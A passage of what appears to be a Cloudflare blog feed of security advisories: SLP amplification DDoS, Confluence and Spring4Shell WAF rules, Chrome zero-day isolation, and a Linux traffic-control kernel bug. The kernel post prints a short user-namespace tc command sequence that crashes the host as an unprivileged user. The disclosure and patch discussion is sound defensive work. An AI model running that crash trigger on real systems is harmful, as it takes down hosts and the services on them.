            </figure><p>Earlier today, April 25, 2023, researchers Pedro Umbelino at <a href="https://www.bitsight.com/blog/new-high-severity-vulnerability-cve-2023-29552-discovered-service-location-protocol-slp">Bitsight</a> and Marco Lux at <a href="https://curesec.com/blog/article/CVE-2023-29552-Service-Location-Protocol-Denial-of-Service-Amplification-Attack-212.html">Curesec</a> published their discovery of CVE-2023-29552, a new <a href="https://www.cisa.gov/news-events/alerts/2014/01/17/udp-based-amplification-attacks">DDoS reflection/amplification attack vector</a> leveraging the SLP protocol. If you are a Cloudflare customer, your services are already protected from this new attack vector.</p><p><a href="https://en.wikipedia.org/wiki/Service_Location_Protocol">Service Location Protocol</a> (SLP) is a “service discovery” protocol invented by Sun Microsystems in 1997. Like other service discovery protocols, it was designed to allow devices in a local area network to interact without prior knowledge of each other. SLP is a relatively obsolete protocol and has mostly been supplanted by more modern alternatives like UPnP, mDNS/Zeroconf, and WS-Discovery. Nevertheless, many commercial products still offer support for SLP.</p><p>Since SLP has no method for authentication, it should never be exposed to the public Internet. However, Umbelino and Lux have discovered that upwards of 35,000 Internet endpoints have their devices’ SLP service exposed and accessible to anyone. Additionally, they have discovered that the UDP version of this protocol has an <a href="/reflections-on-reflections/">amplification factor</a> of up to 2,200x, which is the third largest discovered to-date.</p><p>Cloudflare expects the prevalence of SLP-based DDoS attacks to rise significantly in the coming weeks as malicious actors learn how to exploit this newly discovered attack vector.</p>
    <div>
      <h3>Cloudflare customers are protected</h3>
      <a href="#cloudflare-customers-are-protected">
        
      </a>
    </div>
    <p>If you are a Cloudflare customer, our <a href="/deep-dive-cloudflare-autonomous-edge-ddos-protection/">automated DDoS protection system</a> already protects your services from these SLP amplification attacks.To avoid being exploited to launch the attacks, if you are a network operator, you should ensure that you are not exposing the SLP protocol directly to the public Internet. You should consider blocking UDP port 427 via access control lists or other means. This port is rarely used on the public Internet, meaning it is relatively safe to block without impacting legitimate traffic. Cloudflare <a href="https://developers.cloudflare.com/magic-transit/">Magic Transit</a> customers can use the <a href="https://developers.cloudflare.com/magic-firewall/">Magic Firewall</a> to craft and deploy such rules.</p> ]]></content:encoded>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Mitigation]]></category>
            <category><![CDATA[Reliability]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">5wnL1ufYrN0dZqE5GMsDZ8</guid>
            <dc:creator>Alex Forster</dc:creator>
            <dc:creator>Omer Yoachimik</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2022-47929: traffic control noqueue no problem?]]></title>
            <link>https://blog.cloudflare.com/cve-2022-47929-traffic-control-noqueue-no-problem/</link>
            <pubDate>Tue, 31 Jan 2023 14:00:00 GMT</pubDate>
            <description><![CDATA[ In the Linux kernel before 6.1.6, a NULL pointer dereference bug in the traffic control subsystem allows an unprivileged user to trigger a denial of service (system crash) via a crafted traffic control configuration that is set up with "tc qdisc" and "tc class" commands. ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1Kt5g4yfw3QI3Gu8UzcclV/da58a3de4dc53ef2ff7130e27cbb0bf4/image1-56.png" />
            
            </figure><p>USER namespaces power the functionality of our favorite tools such as docker and podman. <a href="/live-patch-security-vulnerabilities-with-ebpf-lsm/">We wrote about Linux namespaces back in June</a> and explained them like this:</p><blockquote><p>Most of the namespaces are uncontroversial, like the UTS namespace which allows the host system to hide its hostname and time. Others are complex but straightforward - NET and NS (mount) namespaces are known to be hard to wrap your head around. Finally, there is this very special, very curious USER namespace. USER namespace is special since it allows the - typically unprivileged owner to operate as "root" inside it. It's a foundation to having tools like Docker to not operate as true root, and things like rootless containers.</p></blockquote><p>Due to its nature, allowing unprivileged users access to USER namespace always carried a great security risk. With its help the unprivileged user can in fact run code that typically requires root. This code is often under-tested and buggy. Today we will look into one such case where USER namespaces are leveraged to exploit a kernel bug that can result in an unprivileged denial of service attack.</p>
    <div>
      <h3>Enter Linux Traffic Control queue disciplines</h3>
      <a href="#enter-linux-traffic-control-queue-disciplines">
        
      </a>
    </div>
    <p>In 2019, we were exploring leveraging <a href="https://man7.org/linux/man-pages/man8/tc.8.html#DESCRIPTION">Linux Traffic Control's</a> <a href="https://tldp.org/HOWTO/Traffic-Control-HOWTO/components.html#c-qdisc">queue discipline</a> (qdisc) to schedule packets for one of our services with the <a href="https://man7.org/linux/man-pages/man8/tc-htb.8.html">Hierarchy Token Bucket</a> (HTB) <a href="https://tldp.org/HOWTO/Traffic-Control-HOWTO/classful-qdiscs.html">classful qdisc</a> strategy. Linux Traffic Control is a user-configured system to schedule and filter network packets. Queue disciplines are the strategies in which packets are scheduled. In particular, we wanted to filter and schedule certain packets from an interface, and drop others into the <a href="https://linux-tc-notes.sourceforge.net/tc/doc/sch_noqueue.txt">noqueue</a> qdisc.</p><p>noqueue is a special case qdisc, such that packets are supposed to be dropped when scheduled into it. In practice, this is not the case. Linux handles noqueue such that packets are passed through and not dropped (for the most part). The <a href="https://linux-tc-notes.sourceforge.net/tc/doc/sch_noqueue.txt">documentation</a> states as much. It also states that “It is not possible to assign the noqueue queuing discipline to physical devices or classes.” So what happens when we assign noqueue to a class?</p><p>Let's write some shell commands to show the problem in action:</p>
            <pre><code>1. $ sudo -i
2. # dev=enp0s5
3. # tc qdisc replace dev $dev root handle 1: htb default 1
4. # tc class add dev $dev parent 1: classid 1:1 htb rate 10mbit
5. # tc qdisc add dev $dev parent 1:1 handle 10: noqueue</code></pre>
            <ol><li><p>First we need to log in as root because that gives us <a href="https://man7.org/linux/man-pages/man7/capabilities.7.html#DESCRIPTION">CAP_NET_ADMIN</a> to be able to configure traffic control.</p></li><li><p>We then assign a network interface to a variable. These can be found with <code>ip a</code>. Virtual interfaces can be located by calling <code>ls /sys/devices/virtual/net</code>. These will match with the output from <code>ip a</code>.</p></li><li><p>Our interface is currently assigned to the <a href="https://man7.org/linux/man-pages/man8/tc-pfifo_fast.8.html">pfifo_fast</a> qdisc, so we replace it with the HTB classful qdisc and assign it the handle of <code>1:</code>. We can think of this as the root node in a tree. The “default 1” configures this such that unclassified traffic will be routed directly through this qdisc which falls back to pfifo_fast queuing. (more on this later)</p></li><li><p>Next we add a class to our root qdisc <code>1:</code>, assign it to the first leaf node 1 of root 1: <code>1:1</code>, and give it some reasonable configuration defaults.</p></li><li><p>Lastly, we add the noqueue qdisc to our first leaf node in the hierarchy: <code>1:1</code>. This effectively means traffic routed here will be scheduled to noqueue</p></li></ol><p>Assuming our setup executed without a hitch, we will receive something similar to this kernel panic:</p>
            <pre><code>BUG: kernel NULL pointer dereference, address: 0000000000000000
#PF: supervisor instruction fetch in kernel mode
...
Call Trace:
&lt;TASK&gt;
htb_enqueue+0x1c8/0x370
dev_qdisc_enqueue+0x15/0x90
__dev_queue_xmit+0x798/0xd00
...
&lt;/TASK&gt;
</code></pre>
            <p>We know that the root user is responsible for setting qdisc on interfaces, so if root can crash the kernel, so what? We just do not apply noqueue qdisc to a class id of a HTB qdisc:</p>
            <pre><code># dev=enp0s5
# tc qdisc replace dev $dev root handle 1: htb default 1
# tc class add dev $dev parent 1: classid 1:2 htb rate 10mbit // A
// B is missing, so anything not filtered into 1:2 will be pfifio_fast</code></pre>
            <p>Here, we leveraged the default case of HTB where we assign a class id 1:2 to be rate-limited (A), and implicitly did not set a qdisc to another class such as id 1:1 (B). Packets queued to (A) will be filtered to <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_htb.c#L620">HTB_DIRECT</a> and packets queued to (B) will be filtered into pfifo_fast.</p><p>Because we were not familiar with this part of the codebase, we <a href="https://lore.kernel.org/all/CALrw=nEdA0asN4n7B3P2TyHKJ+UBPvoAiMrwkT42=fqp2-CPiw@mail.gmail.com/">notified</a> the mailing lists and created a ticket. The bug did not seem all that important to us at that time.</p><p>Fast-forward to 2022, we are <a href="https://lwn.net/Articles/903580/">pushing</a> USER namespace creation hardening. We extended the Linux LSM framework with a new LSM hook: <a href="https://lore.kernel.org/all/20220815162028.926858-1-fred@cloudflare.com/">userns_create</a> to leverage <a href="/live-patch-security-vulnerabilities-with-ebpf-lsm/">eBPF LSM</a> for our protections, and encourage others to do so as well. Recently while combing our ticket backlog, we rethought this bug. We asked ourselves, “can we leverage USER namespaces to trigger the bug?” and the short answer is yes!</p>
    <div>
      <h3>Demonstrating the bug</h3>
      <a href="#demonstrating-the-bug">
        
      </a>
    </div>
    <p>The exploit can be performed with any classful qdisc that assumes a <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/include/net/sch_generic.h#L73">struct Qdisc.enqueue</a> function to not be NULL (more on this later), but in this case, we are demonstrating just with HTB.</p>
            <pre><code>$ unshare -rU –net
$ dev=lo
$ tc qdisc replace dev $dev root handle 1: htb default 1
$ tc class add dev $dev parent 1: classid 1:1 htb rate 10mbit
$ tc qdisc add dev $dev parent 1:1 handle 10: noqueue
$ ping -I $dev -w 1 -c 1 1.1.1.1</code></pre>
            <p>We use the “lo” interface to demonstrate that this bug is triggerable with a virtual interface. This is important for containers because they are fed virtual interfaces most of the time, and not the physical interface. Because of that, we can use a container to crash the host as an unprivileged user, and thus perform a denial of service attack.</p>
    <div>
      <h3>Why does that work?</h3>
      <a href="#why-does-that-work">
        
      </a>
    </div>
    <p>To understand the problem a bit better, we need to look back to the original <a href="https://lore.kernel.org/all/1440703299-21243-1-git-send-email-phil@nwl.cc/#t">patch series</a>, but specifically this <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d66d6c3152e8d5a6db42a56bf7ae1c6cae87ba48">commit</a> that introduced the bug. Before this series, achieving noqueue on interfaces relied on a hack that would set a device qdisc to noqueue if the device had a <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_api.c#L1263">tx_queue_len = 0</a>. The commit d66d6c3152e8 (“net: sched: register noqueue qdisc”) circumvents this by explicitly allowing noqueue to be added with the <code>tc</code> command without needing to get around that limitation.</p><p>The way the kernel checks for whether we are in a noqueue case or not, is to simply check if a qdisc has a <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/core/dev.c#L4214">NULL enqueue()</a> function. Recall from earlier that noqueue does not necessarily drop packets in practice? After that check in the fail case, the following logic handles the noqueue functionality. In order to fail the check, the author had to <i>cheat</i> a reassignment from <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_generic.c#L628">noop_enqueue()</a> to <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_api.c#L142">NULL</a> by making <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_generic.c#L683">enqueue = NULL</a> in the init which is called <i>way after</i> <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_api.c#L131">register_qdisc()</a> during runtime.</p><p>Here is where classful qdiscs come into play. The check for an enqueue function is no longer NULL. In this call path, it is now set to HTB (in our example) and is thus allowed to enqueue the struct skb to a <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/core/dev.c#L3778">queue</a> by making a call to the function <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_htb.c#L612">htb_enqueue()</a>. Once in there, HTB performs a <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_htb.c#L216">lookup</a> to pull in a qdisc assigned to a leaf node, and eventually attempts to <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_htb.c#L635">queue</a> the struct skb to the chosen qdisc which ultimately reaches this function:</p><p><i>include/net/sch_generic.h</i></p>
            <pre><code>static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
				struct sk_buff **to_free)
{
	qdisc_calculate_pkt_len(skb, sch);
	return sch-&gt;enqueue(skb, sch, to_free); // sch-&gt;enqueue == NULL
}</code></pre>
            <p>We can see that the enqueueing process is fairly agnostic from physical/virtual interfaces. The permissions and validation checks are done when adding a queue to an interface, which is why the classful qdics assume the queue to not be NULL. This knowledge leads us to a few solutions to consider.</p>
    <div>
      <h3>Solutions</h3>
      <a href="#solutions">
        
      </a>
    </div>
    <p>We had a few solutions ranging from what we thought was best to worst:</p><ol><li><p>Follow tc-noqueue documentation and do not allow noqueue to be assigned to a classful qdisc</p></li><li><p>Instead of checking for <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/core/dev.c#L4214">NULL</a>, check for <a href="https://elixir.bootlin.com/linux/v6.2-rc1/source/net/sched/sch_generic.c#L687">struct noqueue_qdisc_ops</a>, and reset noqueue to back to noop_enqueue</p></li><li><p>For each classful qdisc, check for NULL and fallback</p></li></ol><p>While we ultimately went for the first option: <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96398560f26aa07e8f2969d73c8197e6a6d10407">"disallow noqueue for qdisc classes"</a>, the third option creates a lot of churn in the code, and does not solve the problem completely. Future qdiscs implementations could forget that important check as well as the maintainers. However, the reason for passing on the second option is a bit more interesting.</p><p>The reason we did not follow that approach is because we need to first answer these questions:</p><p>Why not allow noqueue for classful qdiscs?</p><p>This contradicts the documentation. The documentation does have some precedent for not being totally followed in practice, but we will need to update that to reflect the current state. This is fine to do, but does not address the behavior change problem other than remove the NULL dereference bug.</p><p>What behavior changes if we do allow noqueue for qdiscs?</p><p>This is harder to answer because we need to determine what that behavior should be. Currently, when noqueue is applied as the root qdisc for an interface, the path is to essentially allow packets to be processed. Claiming a fallback for classes is a different matter. They may each have their own fallback rules, and how do we know what is the right fallback? Sometimes in HTB the fallback is pass-through with HTB_DIRECT, sometimes it is pfifo_fast. What about the other classes? Perhaps instead we should fall back to the default noqueue behavior as it is for root qdiscs?</p><p>We felt that going down this route would only add confusion and additional complexity to queuing. We could also make an argument that such a change could be considered a feature addition and not necessarily a bug fix. Suffice it to say, adhering to the current documentation seems to be the more appealing approach to prevent the vulnerability now, while something else can be worked out later.</p>
    <div>
      <h3>Takeaways</h3>
      <a href="#takeaways">
        
      </a>
    </div>
    <p>First and foremost, apply this <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=96398560f26aa07e8f2969d73c8197e6a6d10407">patch</a> as soon as possible. And consider hardening USER namespaces on your systems by setting <code>sysctl -w</code> <a href="https://sources.debian.org/patches/linux/3.16.56-1+deb8u1/debian/add-sysctl-to-disallow-unprivileged-CLONE_NEWUSER-by-default.patch/"><code>kernel.unprivileged_userns_clone</code></a><code>=0</code>, which only lets root create USER namespaces in Debian kernels, <code>sysctl -w</code> <a href="https://docs.kernel.org/admin-guide/sysctl/user.html?highlight=max_user_namespaces"><code>user.max_user_namespaces</code></a><code>=[number]</code> for a process hierarchy, or consider backporting these two patches: <code>[security_create_user_ns()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7cd4c5c2101cb092db00f61f69d24380cf7a0ee8)</code> and the <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ed5d44d42c95e8a13bb54e614d2269c8740667f9">SELinux implementation</a>  (now in Linux 6.1.x) to allow you to protect your systems with either eBPF or SELinux. If you are sure you're not using USER namespaces and in extreme cases, you might consider turning the feature off with <code>CONFIG_USERNS=n</code>. This is just one example of many where namespaces are leveraged to perform an attack, and more are surely to crop up in varying levels of severity in the future.</p><p>Special thanks to Ignat Korchagin and Jakub Sitnicki for code reviews and helping demonstrate the bug in practice.</p> ]]></content:encoded>
            <category><![CDATA[Linux]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[CVE]]></category>
            <guid isPermaLink="false">KiLg1KENXvFAT8ADCa4hN</guid>
            <dc:creator>Frederick Lawler</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare customers are protected from the Atlassian Confluence CVE-2022-26134]]></title>
            <link>https://blog.cloudflare.com/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/</link>
            <pubDate>Fri, 03 Jun 2022 05:30:00 GMT</pubDate>
            <description><![CDATA[ On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Updated on 3rd of June: amended information according to Atlassian’s official advisory update.</p><p>On June 2, 2022 Atlassian released a security advisory for their <a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html">Confluence Server and Data Center</a> applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The vulnerability is as <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-26134">CVE-2022-26134</a> and  impacts all versions of Confluence Server and Data Center versions greater than 1.3.0.</p><p>Atlassian has released a patch and all Confluence customers should update immediately to the latest version available from the <a href="https://www.atlassian.com/software/confluence/download-archives">official download center</a>.</p><p>Cloudflare customers using either <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> or Access are already protected. Atlassian also recommends implementing a WAF rule that blocks URLs containing <code>${</code> as it  may reduce risk of being compromised.  </p><p>Our own Confluence nodes are protected by both WAF and Access, and at the time of writing, we have found no evidence that our Confluence instance was exploited.</p><p>Cloudflare reviewed the security advisory, conducted our own analysis, and prepared a WAF mitigation rule via an emergency release. The rule, once tested, was deployed on June 2, 2022, at 23:38 UTC with a default action of BLOCK and the following IDs:</p><ul><li><p>100531 (for our legacy WAF)</p></li><li><p>408cff2b  (for our new WAF)</p></li></ul><p>All websites, including free customers using the Cloudflare WAF to protect their self-hosted Confluence applications have automatically been protected since the new rule was deployed.</p><p>Customers who have deployed Cloudflare Access in front of their Confluence applications were protected from external exploitation attempts even before the emergency release. Access verifies every request made to a Confluence application to ensure it is coming from an authenticated user. Any unauthenticated users attempting this exploit would have been blocked by Cloudflare before they could reach the Confluence server.</p><p>Customers not yet using <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">zero trust</a> rules to protect access to their applications can <a href="https://developers.cloudflare.com/cloudflare-one/applications/configure-apps/self-hosted-apps/">follow these instructions</a> to enable Access now in a few minutes.</p>
    <div>
      <h3>Timeline of Events</h3>
      <a href="#timeline-of-events">
        
      </a>
    </div>
    
<table>
<colgroup>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th>2022-06-02 at 20:00 UTC</th>
    <th>Atlassian publishes security advisory</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td>2022-06-02 at 23:38 UTC</td>
    <td>Cloudflare publishes WAF rule to target CVE 2022-26134</td>
  </tr>
</tbody>
</table> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[CVE]]></category>
            <guid isPermaLink="false">5qtIPT3BCpdaVm01NkRwjE</guid>
            <dc:creator>Reid Tatoris</dc:creator>
            <dc:creator>Daniel Stinson-Diess</dc:creator>
            <dc:creator>Sourov Zaman</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
        </item>
        <item>
            <title><![CDATA[WAF mitigations for Spring4Shell]]></title>
            <link>https://blog.cloudflare.com/waf-mitigations-spring4shell/</link>
            <pubDate>Thu, 31 Mar 2022 15:13:13 GMT</pubDate>
            <description><![CDATA[ Cloudflare Managed Ruleset updates for the recent vulnerabilities affecting the Java Spring framework and related software components ]]></description>
            <content:encoded><![CDATA[ <p></p><p>This post was updated on 5th April 2022 to include toggled rules and new rules for CVE-2022-22965</p><p>A set of high profile vulnerabilities have been identified affecting the popular <a href="https://spring.io/">Java Spring Framework</a> and related software components - generally being referred to as Spring4Shell.</p><p>Four CVEs (Common Vulnerabilities and Exposures) have been released so far and are being actively updated as new information emerges. These vulnerabilities can result, in the worst case, in full remote code execution (RCE) compromise:</p><ul><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947">CVE-2022-22947</a> - [<a href="https://tanzu.vmware.com/security/cve-2022-22947">official VMware post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22950">CVE-2022-22950</a> - [<a href="https://tanzu.vmware.com/security/cve-2022-22950">official VMware post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963">CVE-2022-22963</a> - [<a href="https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function">official Spring project post</a>]</p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965">CVE-2022-22965</a> - [<a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">official Spring project post</a>]</p></li></ul><p>Customers using Java Spring and related software components, such as the Spring Cloud Gateway, should immediately review their software and update to the latest versions by following the official Spring project guidance.</p><p>The <a href="https://www.cloudflare.com/waf/">Cloudflare WAF</a> team is actively monitoring these CVEs and has already deployed a number of new managed mitigation rules. Customers should review the rules listed below to ensure they are enabled while also patching the underlying Java Spring components.</p>
    <div>
      <h3>CVE-2022-22947</h3>
      <a href="#cve-2022-22947">
        
      </a>
    </div>
    <p>A new rule has been developed and deployed for this CVE with an <a href="https://developers.cloudflare.com/waf/change-log/2022-03-29-emergency-release/">emergency release on March 29,</a> which started blocking the vulnerability since the <a href="https://developers.cloudflare.com/waf/change-log/2022-04-04-emergency-release/">emergency release on the 4th, April  2022</a>:</p><p>Managed Rule <b><i><b>Spring - CVE:CVE-2022-22947</b></i></b></p><ul><li><p>WAF rule ID: <code>e777f95584ba429796856007fbe6c869</code></p></li><li><p>Legacy rule ID: <code>100522</code></p></li></ul>
    <div>
      <h3>CVE-2022-22950 and CVE-2022-22963</h3>
      <a href="#cve-2022-22950-and-cve-2022-22963">
        
      </a>
    </div>
    <p>Currently, available PoCs are blocked by the following rule:</p><p>Managed <i>Rule </i><b><i>PHP - Code Injection</i></b></p><ul><li><p>WAF rule ID: <code>55b100786189495c93744db0e1efdffb</code></p></li><li><p>Legacy rule ID: <code>PHP100011</code></p></li></ul>
    <div>
      <h3>CVE-2022-22963 and CVE-2022-22965</h3>
      <a href="#cve-2022-22963-and-cve-2022-22965">
        
      </a>
    </div>
    <p>Currently, available PoCs are blocked by the following rule:</p><p>Managed Rule <b><i>Plone - Dangerous File Extension</i></b></p><ul><li><p>WAF rule ID: <code>aa3411d5505b4895b547d68950a28587</code></p></li><li><p>Legacy WAF ID: <code>PLONE0001</code></p></li></ul><p>We also deployed a new rule via an <a href="https://developers.cloudflare.com/waf/change-log/2022-03-31-emergency-release/">emergency release on March 31</a> (today at time of writing) to cover additional variations attempting to exploit this vulnerability, which started blocking since the <a href="https://developers.cloudflare.com/waf/change-log/2022-04-04-emergency-release/">emergency release on the 4th, April, 2022</a></p><p>Managed Rule <b><i>Spring - Code Injection</i></b></p><ul><li><p>WAF rule ID: <code>d58ebf5351d843d3a39a4480f2cc4e84</code></p></li><li><p>Legacy WAF ID: <code>100524</code></p></li></ul><p>Additionally, customers can receive protection against this CVE by deploying the Cloudflare OWASP Core Ruleset with default or better settings on our new WAF. Customers using our legacy WAF will have to configure a high OWASP sensitivity level.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">5x1vBdk7Ot4xN3MXd1ShuK</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Himanshu Anand</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2022-1096: How Cloudflare Zero Trust provides protection from zero day browser vulnerabilities]]></title>
            <link>https://blog.cloudflare.com/cve-2022-1096-zero-trust-protection-from-zero-day-browser-vulnerabilities/</link>
            <pubDate>Tue, 29 Mar 2022 15:51:37 GMT</pubDate>
            <description><![CDATA[ CVE-2022-1096 is yet another zero day vulnerability affecting web browsers. Cloudflare zero trust mitigates the risk of zero day attacks in the browser and has been patched ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On Friday, March 25, 2022, Google published an <a href="https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html">emergency security update</a> for all Chromium-based web browsers to patch a high severity vulnerability (CVE-2022-1096). At the time of writing, the specifics of the vulnerability are restricted until the majority of users have patched their local browsers.</p><p>It is important everyone takes a moment to update their local web browser. It’s one quick and easy action everyone can contribute to the <a href="https://www.cloudflare.com/learning/security/what-is-cyber-security/">cybersecurity</a> posture of their team.</p><p>Even if everyone updated their browser straight away, this remains a reactive measure to a threat that existed before the update was available. Let’s explore how Cloudflare takes a proactive approach by mitigating the impact of zero day browser threats with our <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">zero trust</a> and <a href="https://www.cloudflare.com/learning/access-management/what-is-browser-isolation/">remote browser isolation</a> services. Cloudflare’s remote browser isolation service is built from the ground up to protect against zero day threats, and all remote browsers on our global network have already been patched.</p>
    <div>
      <h3>How Cloudflare Zero Trust protects against browser zero day threats</h3>
      <a href="#how-cloudflare-zero-trust-protects-against-browser-zero-day-threats">
        
      </a>
    </div>
    <p>Cloudflare Zero Trust applies a layered defense strategy to protect users from zero day threats while browsing the Internet:</p><ol><li><p>Cloudflare’s roaming client steers Internet traffic over an encrypted tunnel to a nearby Cloudflare data center for inspection and filtration.</p></li><li><p>Cloudflare’s <a href="https://www.cloudflare.com/learning/access-management/what-is-a-secure-web-gateway/">secure web gateway</a> inspects and filters traffic based on our network intelligence, antivirus scanning and threat feeds. Requests to known malicious services are blocked and high risk or unknown traffic is automatically served by a remote browser.</p></li><li><p>Cloudflare’s browser isolation service executes all website code in a remote browser to protect unpatched devices from threats inside the unknown website.</p></li></ol>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Azer5s8j5dpIU1WFGdxY4/d4e56aa9f99e2d0e2d55bdcd7f14d6ed/image1-109.png" />
            
            </figure>
    <div>
      <h3>Protection from the unknown</h3>
      <a href="#protection-from-the-unknown">
        
      </a>
    </div>
    <p>Zero day threats are often exploited and exist undetected in the real world and actively target users through <a href="https://www.cloudflare.com/learning/email-security/what-is-email-fraud/">risky links in emails</a> or other external communication points such as customer support tickets. This risk cannot be eliminated, but it can be reduced by using remote browser isolation to minimize the attack surface. Cloudflare’s browser isolation service is built from the ground up to protect against zero day threats:</p><ul><li><p>Prevent compromised web pages from affecting the endpoint device by executing all web code in a remote browser that is physically isolated from the endpoint device. The endpoint device only receives a thin HTML5 remoting shell from our network and <a href="/cloudflare-and-remote-browser-isolation/">vector draw commands</a> from the remote browser.</p></li><li><p>Mitigate the impact of compromise by automatically destroying and reconstructing remote browsers back to a known clean state at the end of their browser session.</p></li><li><p>Protect adjacent remote browsers by encrypting all remote browser egress traffic, segmenting remote browsers with virtualization technologies and distributing browsers across physical hardware in our global network.</p></li><li><p>Aiding Security Incident Response (SIRT) teams by logging all remote egress traffic in the integrated secure web gateway logs.</p></li></ul>
    <div>
      <h3>Patching remote browsers around the world</h3>
      <a href="#patching-remote-browsers-around-the-world">
        
      </a>
    </div>
    <p>Even with all these security controls in place, patching browsers remains critical to eliminate the risk of compromise. The process of patching local and remote browsers tells two different stories that can be the difference between compromise, and avoiding a zero day vulnerability.</p><p>Patching your workforces local browsers requires politely asking users to interrupt their work to update their browser, or apply mobile device management techniques to disrupt their work by forcing an update. Neither of these options create happy users, or deliver rapid mitigation.</p><p>Patching remote browsers is a fundamentally different process. Since the remote browser itself is running on our network, Users and Administrators do not need to intervene as security patches are automatically deployed to remote browsers on Cloudflare’s network. Then without a user restarting their local browser, any traffic to an isolated website is automatically served from a patched remote browser.</p><p>Finally, browser based vulnerabilities such as CVE-2022-1096 are not uncommon. With over 300 in 2021 and over 40 already in 2022 (according to <a href="https://www.cvedetails.com/product/15031/Google-Chrome.html?vendor_id=1224">cvedetails.com</a>) it is critical for administrators to have a plan to rapidly mitigate and patch browsers in their organization.</p>
    <div>
      <h3>Get started with Cloudflare Browser Isolation</h3>
      <a href="#get-started-with-cloudflare-browser-isolation">
        
      </a>
    </div>
    <p>Cloudflare Browser Isolation is available to both self serve and enterprise customers. Whether you’re a small startup or a massive enterprise, our network is ready to serve fast and secure remote browsing for your team, no matter where they are based.</p><p>To get started, <a href="https://www.cloudflare.com/products/zero-trust/browser-isolation/">visit our website</a> and, if you’re interested in evaluating Browser Isolation, ask our team for a <a href="https://www.cloudflare.com/products/zero-trust/interactive-demo/">demo</a> with our <a href="/clientless-web-isolation-general-availability/">Clientless Web Isolation</a>.</p> ]]></content:encoded>
            <category><![CDATA[Remote Browser Isolation]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Cloudflare Zero Trust]]></category>
            <category><![CDATA[SASE]]></category>
            <guid isPermaLink="false">PvGPusZFJAtjsz3BzTyM3</guid>
            <dc:creator>Tim Obezuk</dc:creator>
        </item>
        <item>
            <title><![CDATA[Helping mitigate the Citrix NetScaler CVE with Cloudflare Access]]></title>
            <link>https://blog.cloudflare.com/helping-mitigate-the-citrix-netscaler-cve-with-cloudflare-access/</link>
            <pubDate>Sun, 12 Jan 2020 18:11:16 GMT</pubDate>
            <description><![CDATA[ Cloudflare Access can help teams build a defense-in-depth mitigation to the Citrix NetScaler CVE for HTTP and SSH requests. ]]></description>
